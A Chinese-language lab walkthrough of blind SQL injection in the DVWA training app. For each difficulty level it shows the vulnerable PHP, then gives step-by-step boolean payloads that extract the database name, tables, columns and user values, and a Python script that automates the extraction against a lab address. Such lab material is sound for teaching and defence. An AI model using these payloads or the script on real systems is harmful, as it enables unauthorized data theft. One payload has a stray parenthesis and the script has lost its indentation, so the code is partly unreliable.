新手DVWA-SQL Injection (Blind)
SQL Injection (Blind)
SQL Injection (Blind)即SQL盲注,同樣是由於web應用程式對使用者輸入資料沒有進行過濾或過濾不完全,導致輸入資料破壞原有SQL語句並執行惡意指令,與SQL注入區別在於SQL盲注沒有回顯,無法直接瞭解到惡意指令執行情況。
low
伺服器核心程式碼
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
low難度程式碼未對輸入資訊進行過濾,可以進行注入
解法
輸入 1' and 1=1 # 顯示資料在資料庫中
輸入 1' and 1=0 # 顯示資料不在資料庫中 說明語句注入成功
猜解資料庫名的長度 1' and length(database())=1 # 顯示MISSING
猜解到4的時候 顯示exists 說明資料庫名長度為4
之後逐個猜解庫名 1' and substr(database(),1,1)='a' # (MISSING)
以此類推 1' and substr(database(),1,1)='d' # (exists)
1' and substr(database(),2,1)='v' # (exists)
1' and substr(database(),3,1)='w' # (exists)
1' and substr(database(),4,1)='a' # (exists)
猜解表個數 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa' )=1 #
猜解表名長度 1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=1 #
猜解表名 1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='a' #
猜解欄位個數 1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' )=1 #
猜解欄位名長度 1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1))=1 #
猜解欄位名 1' and substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,1)='a' #
猜解值長度 1' and length((select user from dvwa.users limit 0,1))=1 #
猜解值 1' and substr((select user from dvwa.users limit 0,1),1,1)='a' #
medium
伺服器核心程式碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
從程式碼看,用mysqli_real_escape_string()函式過濾了一部分特殊符號,但注入點也變成了數字型,同時將傳引數方式變成post,並不能防止注入
解法
猜解資料庫名的長度 1 and length(database())=4 #
猜解資料庫名 1 and ascii(substr(database(),1,1))=100 #
猜解表個數 1 and (select count(table_name) from information_schema.tables where table_schema=0x64767761 )=2 #
猜解表名長度 1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1))=9 #
猜解表名 1 and ascii(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1),1,1))=103 #
猜解欄位個數 1 and (select count(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 )=8 #
猜解欄位名長度 1 and length((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1))=4 #
猜解欄位名 1 and ascii(substr((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1),1,1))=117 #
猜解值長度 1 and length((select user from dvwa.users limit 0,1))=5 #
猜解值 1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
high
伺服器核心程式碼
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
改用cookie傳值,沒有過濾,payload和前兩個基本差不多
解法
猜解資料庫名的長度 1' and length(database())=4 #
猜解資料庫名 1' and substr(database(),1,1)='d' #
猜解表個數 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa' )=2 #
猜解表名長度 1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9 #
猜解表名 1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='g' #
猜解欄位個數 1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' )=8 #
猜解欄位名長度 1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1))=4 #
猜解欄位名 1' and substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,1)='u' #
猜解值長度 1' and length((select user from dvwa.users limit 0,1))=5 #
猜解值 1' and substr((select user from dvwa.users limit 0,1),1,1))='a' #
impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
從程式碼上看,判斷輸入引數是否為數字,後面還使用了PDO來防止SQL注入,這裡已經不能再進行SQL注入
指令碼
因為盲注比較複雜,所以一般我們選擇寫個指令碼來跑,這裡根據low難度來寫一個,medium和high也是同理,由於水平有限,寫的不一定好,應該只屬於勉強能把結果跑出來那種吧……
import requests
from lxml import etree
if __name__ == "__main__" :
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Cookie': 'PHPSESSID=qapdt204upd005gebh8ikaern7; security=low'
}
url='http://192.168.37.141:89/vulnerabilities/sqli_blind/?id={n}&Submit=Submit'
dic=['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9']
database=''
for i in range(1,5):
for c in dic:
payload="1' and substr(database(),{n},1)='{m}' %23"
html=requests.get(url=url.format(n=payload.format(n=i,m=c)),headers=headers)
if 'exists' in html.text:
database+=c
break
print('資料庫名:'+database)
for i in range(1,15):
payload="1' and (select count(table_name) from information_schema.tables where table_schema='dvwa' )={n} %23 "
html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
if 'exists' in html.text:
tablenum=i
break
print('表個數:'+str(tablenum))
for i in range(0,tablenum):
for j in range(1,25):
payload="1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit {m},1))={n} %23"
html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
if 'exists' in html.text:
tablelen=j
table_name=''
for k in range(0,tablelen+1):
for c in dic:
payload="1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit {m},1),{k},1)='{n}' %23"
html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
if 'exists' in html.text:
table_name+=c
break
print('表名:'+table_name)
break
table_name=input('輸入表名:')
for i in range(1,15):
payload="1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='"+table_name+"' )={n} %23"
html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
if 'exists' in html.text:
columnnum=i
break
print('欄位個數:'+str(columnnum))
for i in range(0,columnnum):
for j in range(1,25):
payload="1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='"+table_name+"' limit {m},1))={n} %23"
html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
if 'exists' in html.text:
columnlen=j
column_name=''
for k in range(0,columnlen+1):
for c in dic:
payload="1' and substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='"+table_name+"' limit {m},1),{k},1)='{n}' %23"
html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
if 'exists' in html.text:
column_name+=c
break
print('欄位名:'+column_name)
break
while(1):
column_name=input('輸入欄位名:')
if column_name == '0':
break
else:
for i in range(1,51):
payload="1' and length((select "+column_name+" from dvwa."+table_name+" limit 0,1))={n} %23"
html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
if 'exists' in html.text:
valuenum=i
value=''
for j in range(1,valuenum+1):
for c in dic:
payload="1' and substr((select "+column_name+" from dvwa."+table_name+" limit 0,1),{k},1)='{n}' %23"
html=requests.get(url=url.format(n=payload.format(k=j,n=c)),headers=headers)
if 'exists' in html.text:
value+=c
print(value)
break
下面是執行結果